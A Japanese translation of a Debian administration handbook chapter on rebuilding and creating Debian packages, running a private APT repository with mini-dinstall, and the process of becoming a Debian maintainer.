最初にパッケージのバージョン番号を変更します。こうすることで、再ビルドされたパッケージを Debian の提供する元パッケージと区別することが可能です。現在のバージョンが 2:4.1.17+dfsg-2 の場合、バージョン 2:4.1.17+dfsg-2falcot1 を作成することが可能です。これはパッケージの出自を明らかに示しています。このパッケージのバージョン番号は Debian が提供する元パッケージのバージョン番号よりも大きいため、こ

のパッケージを元パッケージの更新として簡単にインストールできます。このような作業を極めて効果的に行うには、**devscripts** パッケージの提供する dch コマンド (**Debian CHangelog**) を dch --local falcot のように使います。これは最良の効果を発揮します。dch コマンドはテキストエディタ (sensible-editor。このエディタは VISUAL または EDITOR 環境変数で定義されているお気に入りのエディタです。そうでなければデフォルトエディタです) を起動します。ここで、再ビルドによって導入される変更の内容を記述してください。このエディタは dch が debian/changelog ファイルを変更したことを示します。

ビルドオプションの変更が必要な場合、debian/rules を修正します。debian/rules はパッケージビルド作業の各段階を動作させるものです。debian/rules が最も単純に書かれている場合、初期設定 (./configure …) や実際のビルド ($(MAKE) … や make …) を実行するコマンドを簡単に見つけられるでしょう。ファイル内にこれらのコマンドが明示的に書かれていない場合、このファイルの内容は別のコマンドに対する作用を書いているのかもしれません。このような場合、デフォルト挙動を変える方法をより詳細に学ぶために文書を参照してください。dh を使っているパッケージのビルドオプションを変更する場合、dh_auto_configure や dh_auto_build コマンドを再定義する必要があるかもしれません (これを行う方法に関する説明は各コマンドのマニュアルページをご覧ください)。

パッケージに対して行った変更の内容によっては、debian/control ファイルの内容もまた更新する必要があります。debian/control ファイルには生成されるパッケージの説明が含まれます。特に、debian/control ファイルにはパッケージのビルド時点で満足されなければいけない依存関係のリストを制御する Build-Depends 行が含まれます。Build-Depends 行で指定されているパッケージのバージョンはソースパッケージが提供されるディストリビューションに含まれるパッケージのバージョンと一致している場合が多いです。しかし、再ビルドを行うディストリビューションではここで指定されているバージョンが利用できないかもしれません。依存関係が本物か、それともビルド時にライブラリの最新版を試すことを保証するためだけ指定されているかを決定する自動的な方法はありません。Build-Depends 行を使うことが**自動ビルドロボット**にビルド中に与えられたパッケージバージョンを使うことを強制するための唯一の方法なので、Debian メンテナはバージョンを厳しく指定したビルド依存関係を使うことが多いです。

もしあなたが、指定されているビルド依存関係を緩めても問題ないと確信できる場合、手元で自由に依存関係を緩和することが可能です。対象のソフトウェアをビルドする標準的な方法について説明しているファイル (INSTALL と名付けられていることが多いです) を読むことは適切な依存関係を明らかにする助けになります。理想的に言えば、再ビルドに使うディストリビューションの要素を使ってすべての依存関係を満足させるべきです。しかしそれが無理ならば、対象のパッケージをバックポートする前に、再帰的に Build-Depends フィールドで言及されているパッケージを必ずバックポートしなければいけません。一部のパッケージはバックポートの必要がなく、ビルド作業中に現状のままインストールできます (特筆すべき例は **debhelper** です)。バックポート作業は気を付けないとすぐに複雑になる点に注意してください。それゆえ、バックポートは可能な限り厳密に必要最低限に留めるべきです。

TIP

Build-Depends のインストール

apt-get を使うことで、あるソースパッケージの Build-Depends フィールドに指定されているすべてのパッケージをインストールすることが可能です。apt-get は /etc/apt/sources.list ファイルの deb-src 行で指定されているディストリビューションに含まれるソースパッケージの Build-Depends フィールドに指定されているパッケージをインストールします。これを行うには、apt-get build-dep **source-package** コマンドを実行するだけです。

15.1.3. 再ビルドの開始

ソースに対するすべての必要な変更が完了したら、実際のバイナリパッケージ (.deb ファイル) を生成します。すべてのプロセスは dpkg-buildpackage コマンドで管理されます。

例 15.1　パッケージの再ビルド

```
$ dpkg-buildpackage -us -uc
[...]
```

TOOL

fakeroot

基本的に、パッケージ作成作業とは存在する (ビルドされた) ファイル群を 1 つのアーカイブにまとめるという単純な作業に過ぎません。さらにほとんどのファイルは最終的にアーカイブ中で **root** によって所有されることになります。しかしながら、パッケージ全体を root で作ると暗黙のうちにリスクが増加します。しかし幸いなことに、fakeroot コマンドを使うことでこれを避けることが可能です。fakeroot 環境を使うことで、プログラムを実行したり、プログラムに自分の実行者が **root** であり任意の所有者とパーミッションを持つファイルを作成することが可能であると認識させたりすることが可能になります。fakeroot 環境下で Debian パッケージとなるアーカイブを作成した場合、fakeroot プログラムは **root** およびその他のユーザに所有されるファイルを含むアーカイブを作成します。dpkg-buildpackage がパッケージをビルドする際にデフォルトで fakeroot を使っていることからも分かる通り、fakeroot 環境下でパッケージをビルドすることはとても便利な方法です。

fakeroot 環境下で動作するプログラムはだまされて特権アカウントとして操作するように「信じこまされる」だけです。プロセスは fakeroot **program** を実行しているユーザの権限で実行されます (作成されるファイルはそのユーザのパーミッションを与えられます)。fakeroot が実際に root 権限を取得してそれを乱用することは決してありません。

Build-Depends フィールドが更新されていなかったり、関連するパッケージがインストールされていなかった場合、dpkg-buildpackage コマンドは失敗します。そのような場合、dpkg-buildpackage に -d オプションを指定して、依存関係確認を行わないようにすることも可能です。しかしながら、依存関係を明示的に無視すると後々の段階でビルド作業が失敗する恐れがあります。さらに悪いことに、パッケージが正常にビルドされたように見えても正しく動かない可能性があります。なぜなら一部のプログラムは必要なライブラリがビルド時に利用できない場合に一部の機能を自動的に無効化するからです。

しばしば、Debian 開発者は debuild などの高レベルプログラムを使います。debuild は通常通り dpkg-buildpackage を実行するだけでなく、生成されたパッケージの Debian ポリシーに対する妥当性を確認するプログラムも実行します。debuild スクリプトは、手元の環境変数がパッケージビルドを「汚染」しないように、ビルド環境を整えます。debuild コマンドは **devscripts** スイートに含まれるツールの 1 つで、メンテナの作業を簡単にするためのいくつかの一貫性と設定を共有します。

QUICK LOOK

pbuilder

pbuilder プログラム (同名のパッケージに含まれます) を使うことで、**chroot された**環境の中で Debian パッケージをビルドすることが可能になります。pbuilder プログラムは最初にパッケージをビルドするために必要な最低限のシステム (と **Build-Depends** フィールドで指定されているパッケージ) を含む一時ディレクトリを作成します。このディレクトリは chroot コマンドビルド中に使うルートディレクトリ (/) として使われます。

pbuilder ツールを使うことで、ビルド作業をユーザの操作によって変更されない環境の中で行うことが可能になります。さらに、pbuilder ツールを使うことで、言及されていないビル

ド依存関係を素早く検出することが可能になります (なぜなら、適切な依存関係が指定されていなければビルドは失敗するからです)。最後に、pbuilder ツールを使うことで、システム用に使われている Debian バージョン以外の Debian バージョン向けのパッケージをビルドすることが可能になります。つまり、マシンは通常の作業用に**安定版**を使うことが可能です。そして、同じマシン上で動作する pbuilder はパッケージビルド専用に**不安定版**を使うことが可能です。

15.2. 最初のパッケージのビルド

15.2.1. メタパッケージやフェイクパッケージ

フェイクパッケージとメタパッケージは似ています。両者は自分のメタデータをパッケージ取り扱いスタックに置いておくためだけに存在する抜け殻です。

フェイクパッケージの目的は dpkg と apt をだまして、抜け殻に過ぎないいくつかのパッケージがインストールされていると信じこませることにあります。フェイクパッケージを使うことで、あるソフトウェアの依存関係を満足させるために必要なソフトウェアがパッケージシステムの管轄外にインストールされている場合に、そのソフトウェアの依存関係を満足させることが可能です。フェイクパッケージを使うことで、依存関係の問題は解決されますが、これはできる限り避けるべき方法です。なぜなら、手作業でインストールされたソフトウェアが対応するパッケージと全く同様に振る舞う保証はありませんし、手作業でインストールされたソフトウェアに依存する他のパッケージが適切に動く保証もないからです。

逆に、メタパッケージはメタパッケージをインストールするだけで一連の他のパッケージをインストールすることが可能になる依存関係の集合体として使われます。

フェイクパッケージとメタパッケージは equivs-control と equivs-build コマンド (**equivs** パッケージに含まれます) を使って作成されます。equivs-control **file** コマンドは Debian パッケージヘッダファイルを作成します。Debian パッケージヘッダファイルには、パッケージの名前、バージョン番号、メンテナ、依存関係、説明を含めるように編集します。デフォルト値を持たない他のフィールドは任意で、削除することも可能です。Copyright、Changelog、Readme、Extra-Files フィールドは Debian パッケージの標準的なフィールドではありません。さらに、これらのフィールドは equivs-build を使う限りにおいて意味を持つものであり、生成されるパッケージのヘッダから削除されます。

例 15.2 libxml-libxml-perl **フェイクパッケージのヘッダファイル**

```
Section: perl
Priority: optional
Standards-Version: 3.9.6

Package: libxml-libxml-perl
Version: 2.0116-1
Maintainer: Raphael Hertzog <hertzog@debian.org>
Depends: libxml2 (>= 2.7.4)
Architecture: all
Description: Fake package - module manually installed in site_perl
 This is a fake package to let the packaging system
 believe that this Debian package is installed.
```

```
 .
 In fact, the package is not installed since a newer version
 of the module has been manually compiled & installed in the
 site_perl directory.
```

次のステップでは、equivs-build **file** コマンドを使って Debian パッケージを生成します。さぁこれでパッケージは現在のディレクトリに作成され、他の Debian パッケージと同様に取り扱うことが可能になります。

15.2.2. 単純なファイルアーカイブ

Falcot Corp の管理者は大量のマシン上に一連の文書を配備することを簡単に行うために Debian パッケージを作成する必要があります。この作業を担当している管理者は最初に「新メンテナーガイド」を読み、その後最初のパッケージに対する作業に着手します。

➡ https://www.debian.org/doc/manuals/maint-guide/

最初に、対象のソースパッケージを含める falcot-data-1.0 ディレクトリを作成します。こうしておけば、パッケージは必然的に falcot-data と名付けられ、バージョン番号は 1.0 になります。その後、管理者は文書ファイルを data サブディレクトリに置きます。その後、管理者は dh_make コマンド (**dh-make** パッケージに含まれます) を実行し、パッケージ生成作業に必要なファイルを追加します。ここで追加されるファイルは debian サブディレクトリに保存されます。

```
$ cd falcot-data-1.0
$ dh_make --native

Type of package: single binary, indep binary, multiple binary, library, kernel module,
    ➥ kernel patch?
 [s/i/m/l/k/n] i

Maintainer name : Raphael Hertzog
Email-Address   : hertzog@debian.org
Date            : Sat, 05 Sep 2015 01:09:39 +0900
Package Name    : falcot-data
Version         : 1.0
License         : gpl3
Type of Package : Independent
Hit <enter> to confirm:
Currently there is no top level Makefile. This may require additional tuning.
Done. Please edit the files in the debian/ subdirectory now. You should also
check that the falcot-data Makefiles install into $DESTDIR and not in / .
$
```

パッケージの種類で **indep binary** を選ぶと、ソースパッケージから単一のバイナリパッケージを生成します。ここで生成されるバイナリパッケージはすべてのアーキテクチャで共有されます (Architecture: all)。**single binary** はその逆の振る舞いで、対象のアーキテクチャに依存する (Architecture: any) 単一のバイナリを生成します。今回作成するパッケージの場合、**indep binary** がより適切です。なぜなら、このパッケージは文書だけを含みバイナリプログラムを含まないからです。このため、すべてのアーキテクチャのコンピュータで同様に使うことが可能です。

multiple binary を選ぶと、ソースパッケージから複数のバイナリパッケージを作成することになります。**library** は特別な場合で、共有ライブラリ用に用意されています。なぜなら、共有ライブラリは厳しいパッケージング規則に従う必要があるからです。同様に、**kernel module** および **kernel patch** はカーネルモジュールを含むパッケージ用に用意されています。

TIP

メンテナの名前と電子メールアドレス

パッケージメンテナンスに関わるほとんどのプログラムはメンテナの名前と電子メールアドレスを DEBFULLNAME と DEBEMAIL または EMAIL 環境変数から取得します。たった 1 回これらの環境変数を定義するだけで、毎回これらの情報を打ち込む必要がなくなります。通常のシェルが bash の場合、~/.bashrc ファイルに以下の 2 行 (当然ですが、値を自分のものに変えてください!) を追加するだけで簡単にこれを行うことが可能です。

```
export EMAIL="hertzog@debian.org"
export DEBFULLNAME="Raphael Hertzog"
```

dh_make コマンドによって debian サブディレクトリと各種ファイルが作成されました。特に rules、control、changelog、copyright などの一部のファイルは必須です。.ex 拡張子を持つファイルは例ファイルで、必要ならばこれらのファイルをひな形として (拡張子を削除して) 使うことが可能です。必要なければ例ファイルを削除することを推奨します。compat ファイルはそのままにしておくべきです。なぜなら、compat ファイルはパッケージビルド作業のさまざまな段階で使われる **debhelper** プログラムスイート (dh_ から始まるプログラム群) を適切に動作させるために必要だからです。

copyright ファイルには必ずパッケージに含まれる文書の著者と対応するライセンスに関する情報を含めなければいけません。今回の場合、パッケージには内部文書が含まれ、その使用は Falcot Corp の社内だけに制限されています。デフォルトの changelog ファイルはほとんどの場合に適切です。「Initial release」をより詳しい説明に置き換えたり、unstable を internal に変えるだけで十分です。control ファイルも更新します。具体的に言えば、Section フィールドの値を **misc** に変更し、Homepage、Vcs-Git、Vcs-Browser を削除しました。Depends フィールドの値には iceweasel | www-browser を加えました。これはパッケージ内の文書を表示するために必要なウェブブラウザがインストールされていることを保証するためです。

例 15.3　control ファイル

```
Source: falcot-data
Section: misc
Priority: optional
Maintainer: Raphael Hertzog <hertzog@debian.org>
Build-Depends: debhelper (>= 9)
Standards-Version: 3.9.5

Package: falcot-data
Architecture: all
Depends: iceweasel | www-browser, ${misc:Depends}
Description: Internal Falcot Corp Documentation
 This package provides several documents describing the internal
 structure at Falcot Corp.  This includes:
  - organization diagram
  - contacts for each department.
```

```
 .
 These documents MUST NOT leave the company.
 Their use is INTERNAL ONLY.
```

例 15.4　changelog ファイル

```
falcot-data (1.0) internal; urgency=low

  * Initial Release.
  * Let's start with few documents:
    - internal company structure;
    - contacts for each department.

 -- Raphael Hertzog <hertzog@debian.org>  Sat, 05 Sep 2015 01:09:39 +0900
```

例 15.5　copyright ファイル

```
Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Upstream-Name: falcot-data

Files: *
Copyright: 2004-2015 Falcot Corp
License:
 All rights reserved.
```

BACK TO BASICS

Makefile ファイル

Makefile ファイルは make プログラムによって使われるスクリプトであり、互いに依存関係を持つファイル群をビルドする規則を指定します (たとえば、複数のソースファイル群から 1 つのプログラムをビルドする規則を指定します)。Makefile ファイルはビルド規則を以下のフォーマットで指定します。

```
target: source1 source2 ...
        command1
        command2
```

ビルド規則の解釈は以下の通り行われます。すなわち、source* ファイルの 1 つが target ファイルよりも新しい場合、command1 と command2 を使って target を生成します。

コマンド行は必ずタブ文字で開始しなければいけない点に注意してください。さらに、コマンド行がダッシュ文字 (-) で始まる場合、そのコマンドが失敗しても全体のプロセスは停止されなくなる点に注意してください。

rules ファイルには、(生成されるバイナリパッケージにちなんで名付けられた) 専用のサブディレクトリ内で対象のソフトウェアを設定、ビルド、インストールするために使われる一連の規則が定義されています。このサブディレクトリの内容はあたかもサブディレクトリがファイルシステムのルートであるかのように Debian

パッケージの中に保存されます。今回の場合、ファイルは debian/falcot-data/usr/share/falcot-data/ サブディレクトリにインストールされます。こうすることで、生成されたパッケージをインストールするとファイルが /usr/share/falcot-data/ の下に配備されます。rules ファイルはいくつかの標準的なターゲットが定義されている Makefile として使われます (定義済みターゲットの clean と binary はそれぞれソースディレクトリを削除する場合とバイナリパッケージを生成する場合に使います)。

rules ファイルはビルド作業の核心で、debhelper ツールによって提供される標準的なコマンド群を実行するために必要な最低限の要素だけを含みます。rules ファイルが面倒を見るのは dh_make によって生成されたファイルだけです。自分のファイルをインストールするためには、以下の debian/falcot-data.install ファイルを作成して、dh_install コマンドの挙動を単純に設定します。

```
data/* usr/share/falcot-data/
```

この時点でパッケージを作成することも可能ですが、パッケージにもう少しファイルを追加します。管理者はグラフィカルデスクトップ環境のメニューから文書へ簡単にアクセスできるようにしたいので、パッケージに falcot-data.desktop ファイルを追加します。さらに debian/falcot-data.install に例に示した 2 行目を追加して、/usr/share/applications の中に falcot-data.desktop ファイルをインストールします。

例 15.6　falcot-data.desktop ファイル

```
[Desktop Entry]
Name=Internal Falcot Corp Documentation
Comment=Starts a browser to read the documentation
Exec=x-www-browser /usr/share/falcot-data/index.html
Terminal=false
Type=Application
Categories=Documentation;
```

編集後の debian/falcot-data.install は以下のようになります。

```
data/* usr/share/falcot-data/
falcot-data.desktop usr/share/applications/
```

これでソースパッケージの準備が整いました。最後に残された作業は以前パッケージを再ビルドした際に使った方法と同じ方法を使ってバイナリパッケージを生成することです。具体的に言えば、バイナリパッケージを生成するには、falcot-data-1.0 ディレクトリの中で、dpkg-buildpackage -us -uc コマンドを実行します。

15.3. APT 用のパッケージリポジトリの作成

Falcot Corp のメンテナンスする Debian パッケージの数は次第に増えました。この中には既存のパッケージから手元で修正したパッケージや、内部データとプログラムを配布するために最初から作成したパッケージなどがあります。

パッケージの配備を簡単にするために、管理者はこれらのパッケージを APT から直接使うことが可能なパッケージアーカイブに組み込みたいと思っています。明らかなメンテナンス上の理由により、管理者

は内部パッケージと手元で再ビルドしたパッケージを別にしたいと思っています。すなわち、最終的に /etc/apt/sources.list.d/falcot.list ファイル内のエントリを以下のようにしたいと思っています。

```
deb http://packages.falcot.com/ updates/
deb http://packages.falcot.com/ internal/
```

このため、管理者は内部 HTTP サーバ上に仮想ホストを設定して、APT リポジトリのルートとして /srv/vhosts/packages/ を割り当てます。パッケージアーカイブ自体の管理は mini-dinstall コマンド (同名のパッケージに含まれます) に委託されます。mini-dinstall ツールは incoming/ ディレクトリ (今回の場合、/srv/vhosts/packages/mini-dinstall/incoming/) を監視して、新しいパッケージがこのディレクトリにアップロードされることを待ちます。そしてパッケージがアップロードされたら、mini-dinstall は /srv/vhosts/packages/ のパッケージアーカイブにパッケージをインストールします。mini-dinstall コマンドは Debian パッケージが生成された時に作成される *.changes ファイルを読みます。*.changes ファイルには、パッケージのバージョンに対応するその他のファイル (*.deb、*.dsc、*.diff.gz/*.debian.tar.gz、*.orig.tar.gz、その他の圧縮ツールを使った場合の同等ファイル) のリストが書かれており、mini-dinstall はこのリストに従ってインストールするファイルを把握します。さらに *.changes ファイルの Distribution ヘッダフィールドには、debian/changelog ファイル内の最新エントリに書かれた対象ディストリビューションの名前 (通常 unstable) が書かれており、mini-dinstall はこの名前に従ってパッケージのインストール先を決めます。このため、管理者は対象パッケージをビルドする前に debian/changelog ファイル内の最新エントリに書かれた対象ディストリビューションの名前を必ず変更し、対象パッケージのインストール先に従ってその名前を internal または updates に設定しなければいけません。この後、mini-dinstall は APT が必要とする Packages.gz などのファイルを生成します。

ALTERNATIVE

apt-ftparchive

必要なパッケージアーカイブが mini-dinstall を使うほど複雑なパッケージアーカイブではない場合、apt-ftparchive コマンドを使うことも可能です。apt-ftparchive ツールは指定したディレクトリの内容を調査して、その内容に対応する Packages ファイルを (標準出力に) 表示します。apt-ftparchive を使う場合、Falcot Corp の管理者はパッケージを直接 /srv/vhosts/packages/updates/ や /srv/vhosts/packages/internal/ にアップロードすることが可能です。その後以下のコマンドを実行して Packages.gz ファイルを作成します。

```
$ cd /srv/vhosts/packages
$ apt-ftparchive packages updates >updates/Packages
$ gzip updates/Packages
$ apt-ftparchive packages internal >internal/Packages
$ gzip internal/Packages
```

apt-ftparchive sources コマンドを使えば、同様の方法で Sources.gz ファイルを作成することが可能です。

mini-dinstall を設定するには、~/.mini-dinstall.conf ファイルをセットアップする必要があります。Falcot Corp では以下の通り設定しました。

```
[DEFAULT]
archive_style = flat
archivedir = /srv/vhosts/packages

verify_sigs = 0
mail_to = admin@falcot.com
```

```
generate_release = 1
release_origin = Falcot Corp
release_codename = stable

[updates]
release_label = Recompiled Debian Packages

[internal]
release_label = Internal Packages
```

各パッケージアーカイブに対して Release ファイルを作成することに決めた点は注目に値します。これは /etc/apt/preferences 設定ファイルを使ってパッケージインストール優先度を管理する場合に役立ちます (詳細は第 6.2.5 節「パッケージ優先度の管理」113 ページを参照してください)。

SECURITY

mini-dinstall とパーミッション

mini-dinstall は標準的なユーザとして実行されるように設計されています。root で実行される必要はありません。最も簡単な方法は Debian パッケージ作成担当の管理者グループに所属するユーザアカウントを使ってすべてを設定することです。incoming/ ディレクトリへファイルを追加するために必要な権限を与えられているのは Debian パッケージ作成担当の管理者だけなので、パッケージを追加する前に各パッケージの出自の確認は済んでいると考えられますし、mini-dinstall を使ってもう一度パッケージの出自を確認する必要もなくなります。この理由により、パラメータ verify_sigs = 0 が設定されています (これは mini-dinstall が署名を確認する必要がないことを意味します)。しかしながら、パッケージの内容が機密に関わるものであれば、この設定を逆にして、パッケージ作成担当者の公開鍵を含む鍵束 (extra_keyrings パラメータを使って設定されます) を使ってパッケージの出自を確認するように設定することが可能です。そしてこのように設定した場合、mini-dinstall は *.changes ファイルに統合された署名を解析することによってアップロードされた各パッケージの出自を確認します。

mini-dinstall を実行すると、バックグラウンドでデーモンが開始されます。mini-dinstall デーモンが実行されている限り、デーモンは 30 分ごとに incoming/ ディレクトリにアップロードされた新しいパッケージを確認します。そして新しいパッケージがアップロードされると、パッケージはパッケージアーカイブに移動され、適切な Packages.gz と Sources.gz ファイルが再生成されます。デーモンの実行に問題がある場合、incoming/ ディレクトリにパッケージをアップロードしたら毎回、手作業で mini-dinstall をバッチモードで実行します (-b オプションを付けます)。mini-dinstall 他の使い方は mini-dinstall(1) マニュアルページで説明されています。

EXTRA

署名済みパッケージアーカイブの生成

APT スイートは対象のパッケージをインストールする前にそのパッケージに含まれる一連の暗号署名を確認し、そのパッケージの信頼性を確かめます (第 6.5 節「パッケージ信頼性の確認」123 ページを参照してください)。この挙動はプライベートパッケージアーカイブにとって問題です。なぜなら、プライベートパッケージアーカイブを使うマシンでは署名されていないパッケージに関する警告が表示され続けるからです。プライベートパッケージアーカイブを安全な APT メカニズムに適合させるのが真面目な管理者の仕事と言えます。

パッケージアーカイブの署名作業を助けるために、mini-dinstall には Release に対する署名の生成に使うスクリプトを指定する release_signscript 設定オプションが含まれます。ここでは **mini-dinstall** パッケージによって提供された /usr/share/doc/mini-dinstall/examples/ 内に含まれる sign-release.sh スクリプトが良い足掛かりとなるでしょう。しかし、このスクリプトを使うには手元で修正が必要になるかもしれません。

15.4. パッケージメンテナになる

15.4.1. パッケージを作るための知識

上質な Debian パッケージを作成する作業が常に簡単な作業であるとは限りません。パッケージメンテナになるためには理論と実践の両方の知識が必要です。上質な Debian パッケージを作成する作業は単純にソフトウェアをビルドしたりインストールするだけの簡単な作業ではありません。むしろ複雑さの大部分は他の無数の利用できるパッケージとの問題と対立 (より一般には相関性) を理解することに由来します。

規則

Debian パッケージは必ず Debian ポリシーにまとめられた明確な規則に従わなければいけません。各パッケージメンテナはこの規則を知らなければいけません。規則を暗記する必要はありませんが、規則の存在を知り、重要な判断を下す局面では常に規則を参照する必要があります。すべての Debian メンテナは規則をよく知らないことが原因で間違いを犯した経験がありますが、その間違いがバグ報告として報告されて修正される限り (熟練ユーザのおかげでバグ報告はかなり素早く報告されることが多いです)、これは大きな問題ではありません。

➡ `https://www.debian.org/doc/debian-policy/`

手続き

Debian は各パッケージを単純に収集しているだけではありません。全員のパッケージング作業は共同プロジェクトの一部です。そして Debian 開発者になるには、Debian プロジェクトが全体としてどのように運営されているかを知る必要があります。すべての Debian 開発者は遅かれ早かれ他人と協力して行動することになるでしょう。Debian 開発者リファレンス (**developers-reference** パッケージに含まれます) では、プロジェクト内のさまざまなチームと可能な限り円滑に一緒に作業を行ったり利用できる資源を大いに活用するためにすべての開発者が必ず知らなければいけないことを要約しています。また、Debian 開発者リファレンスは管理者が果たすべき数多くの義務も列挙しています。

➡ `https://www.debian.org/doc/manuals/developers-reference/`

ツール

パッケージメンテナの作業を手助けする数多くのツールが存在します。この節では、それらのツールを簡単に説明します (詳細は説明しません)。なぜなら、これらのツールには自分自身を解説する総合的な文書が用意されているからです。

`lintian` プログラム　`lintian` は最も重要なツールの 1 つです。すなわち、`lintian` は Debian パッケージをチェックするツールです。`lintian` は Debian ポリシーから作成された大量のテスト群に基づき、多くのエラーを素早く自動的に検出します。`lintian` を使うことで、パッケージのリリース前に多くのエラーを修正することが可能となります。

`lintian` の情報は参考程度にしかならず、間違いを犯すこともあります (たとえば、Debian ポリシーは常に変わるものなので、しばしば `lintian` は時代遅れになることがあります)。また、`lintian` は徹底的な調査を行

いません。すなわち、lintian がエラーを出さないことを理由に対象のパッケージが完全であると結論付けてはいけません。lintian を使ってわかることはせいぜい最も一般的な間違いを犯していないことだけです。

piuparts プログラム　piuparts もまた重要なツールの 1 つです。すなわち、piuparts は (隔離環境の中で) パッケージのインストール、アップグレード、削除、完全削除の作業を自動化し、これらの作業中にエラーが起きないことを確認します。piuparts は不足している依存関係を検出したり、パッケージが完全削除された後にファイルが誤って残されたことを検出したりする際にも役立ちます。

devscripts　**devscripts** パッケージには、Debian 開発者が行う作業の大部分に対する手助けを行う数多くのプログラムが含まれます。

- debuild を使うことで、(dpkg-buildpackage から) パッケージを生成したり、Debian ポリシーへの遵守を確認するために後から lintian を実行することが可能です。
- debclean を使うことで、バイナリパッケージを生成した後にソースパッケージの後片付けをすることが可能です。
- dch を使うことで、素早く簡単にソースパッケージ中の debian/changelog ファイルを編集することが可能です。
- uscan を使うことで、上流開発者がソフトウェアの新しいバージョンをリリースしたか否かを確認することが可能です。確認を行うにはリリースの場所が書かれた debian/watch ファイルが必要です。
- debi を使うことで、Debian パッケージを生成した直後に (dpkg -i を使って) そのパッケージをインストールすることが可能になります。パッケージの完全な名前やパスを指定する必要はありません。
- debc を使うことで、Debian パッケージを生成した直後に (dpkg -c を使って) そのパッケージの内容を調査することが可能です。パッケージの完全な名前やパスを指定する必要はありません。
- bts を使うことで、コマンドラインからバグ追跡システムを制御することが可能です。bts プログラムは適切なメールを自動的に生成します。
- debrelease を使うことで、Debian パッケージを生成した直後にそのパッケージをリモートサーバにアップロードすることが可能です。関連する .changes ファイルの完全な名前やパスを指定する必要はありません。
- debsign を使うことで、*.dsc と *.changes ファイルに署名することが可能です。
- uupdate を使うことで、新しい上流開発版がリリースされた場合にパッケージの新しい修正版の作成を自動化することが可能です。

debhelper と dh-make　debhelper はポリシーを遵守するパッケージの作成を簡単にするスクリプト群です。これらのスクリプトは debian/rules から呼び出されます。大多数の公式 Debian パッケージが debhelper を使っているという事実からも分かる通り、debhelper は Debian の中で広く採用されています。debhelper から提供されるすべてのコマンドは名前の頭に dh_ が付けられています。

dh_make スクリプト (**dh-make** パッケージに含まれます) はソフトウェアのソースが含まれるディレクトリ内に Debian パッケージを生成するために必要なファイルを作成します。dh_make という名前から推測される通り、生成されたファイルはデフォルトで debhelper を使います。

dupload と dput　dupload と dput コマンドを使うことで、Debian パッケージを (場合によってはリモート) サーバにアップロードすることが可能です。dupload と dput コマンドを使うことで、開発者は主たる Debian サーバ (ftp-master.debian.org) 上に自分のパッケージを公開することが可能です。こうすることで、パッケージはパッケージアーカイブに組み込まれ、アーカイブミラーによって配布されます。dupload と dput コマンドは *.changes ファイルをパラメータとして受け取り、*.changes ファイルの内容から他の関連するファイルを推測します。

15.4.2. 受け入れ過程

「Debian 開発者」になることは単なる管理上の手続きを経るだけの問題ではありません。受け入れ過程は複数の段階から成り、選考過程に匹敵する入会儀式と言えます。いかなる場合も、受け入れ過程は形式化され明確に文書化されています。そのため、誰でも新メンバー過程専用のウェブサイト上で進み具合を追跡することが可能です。

➡ https://nm.debian.org/

EXTRA

「Debian メンテナ」向けの簡単なプロセス

「Debian メンテナ」とはもう一つの地位です。「Debian メンテナ」に与えられる特権は「Debian 開発者」よりも低いものですが、「Debian メンテナ」になるためのプロセスは「Debian 開発者」になるためのものよりも短い時間ですみます。「Debian メンテナ」の地位を持っている貢献者がメンテナンスできるのは自分自身のパッケージだけです。あなたが「Debian メンテナ」になりたいならば、少なくとも一人以上の Debian 開発者から最初のアップロードに対する確認を受ける必要があります。そして、あなたが自ら進んでパッケージをメンテナンスする能力を持つ見込みあるメンテナであるという点について、その Debian 開発者から信用されなければいけません。さらに、Debian 開発者があなたを信用するということについて声明を発表する必要があります。

必要条件

すべての候補者は少なくとも実務に役立つ英語力を持つことを期待されます。英語力はすべての段階で要求されます。たとえば試験官に対する最初の連絡はもちろんその後も必要です。なぜなら、英語はほとんどの文書で推奨される言語だからです。また、パッケージのユーザはバグを報告する際に英語で連絡を取るでしょうし、ユーザは英語で返信をもらうことを期待するでしょう。

もう一つの必要条件は意欲です。Debian 開発者の受け入れ過程に出願することが合理的な行為と考えられるのは候補者が Debian に対する自分の関心が何カ月も続くことを理解している場合に限ります。受け入れ過程は数カ月間続き、開発者として受け入れられた暁には Debian から長期にわたる苦労を要求されます。すなわち、それぞれのパッケージに対する永久的なメンテナンスが要求され、一回だけアップロードすればメンテナンスを終わらせられるというわけではありません。

登録

候補者が最初に (現実的な意味で) やることは保証人か支持者を見つけることです。そしてこれは公式の開発者が**候補者**を受け入れることが Debian のためになると信じていると喜んで宣言すること意味します。通常これは候補者が既にコミュニティ内で活発に活動し続けており、候補者の業績が受け入れられ続けていることを暗黙的に意味します。候補者が遠慮がちで候補者の業績が公に注目されていなければ、候補者は Debian

開発者に対して個人的な方法で自分の業績を明らかにして自分を支持することを納得するように試みることが可能です。

同時に、候補者は GnuPG を使って RSA 公開鍵と秘密鍵のペアを生成しなければいけません。候補者の公開鍵は少なくとも 2 人の公式 Debian 開発者の秘密鍵によって署名されるべきです。この署名は候補者の公開鍵に書かれた名前が本物であることを証明するものです。実質的なことを言えば、候補者はキーサインパーティで公式 Debian 開発者に直接会って、自分の公開鍵を公式 Debian 開発者の秘密鍵によって署名してもらう必要があります。キーサインパーティの参加者は鍵 ID と一緒に必ず公式の身分証明書 (通常 ID カードかパスポート) を提示しなければいけません。これは人と鍵の関連付けを確認するために必要な措置です。候補者が公のフリーソフトウェアカンファレンスで公式 Debian 開発者に直接会っていない場合、候補者は以下のウェブページに載っているリストを足掛かりとして、近くに住んでいる開発者を探すことが可能です。

➡ `https://wiki.debian.org/Keysigning`

候補者の支持者が nm.debian.org 上の登録内容の正当性を認めたら、対象の候補者に対して 1 人の**応募管理者**が割り当てられます。応募管理者は複数の事前に定義された段階と確認を通じて作業を進めます。

最初の妥当性確認事項は候補者の本人確認です。既に 2 人の Debian 開発者が自分の秘密鍵で候補者の公開鍵に署名しているならば、この段階は簡単です。そうでなければ、応募管理者はあなたに対して、近くにいる Debian 開発者を探し、直接会ってキーサインする段取りを付けるように指導するでしょう。

原則の受け入れ

次の管理上の手続きでは哲学の検討を行います。ここで、候補者は社会契約とフリーソフトウェアの背後にある原理を理解して受け入れることに対して確認を取られます。Debian に参加するには、必ず創設理念 (および第 1 章「Debian プロジェクト」2 ページ) で述べられている現在の開発者を団結させている価値に共感する必要があります。

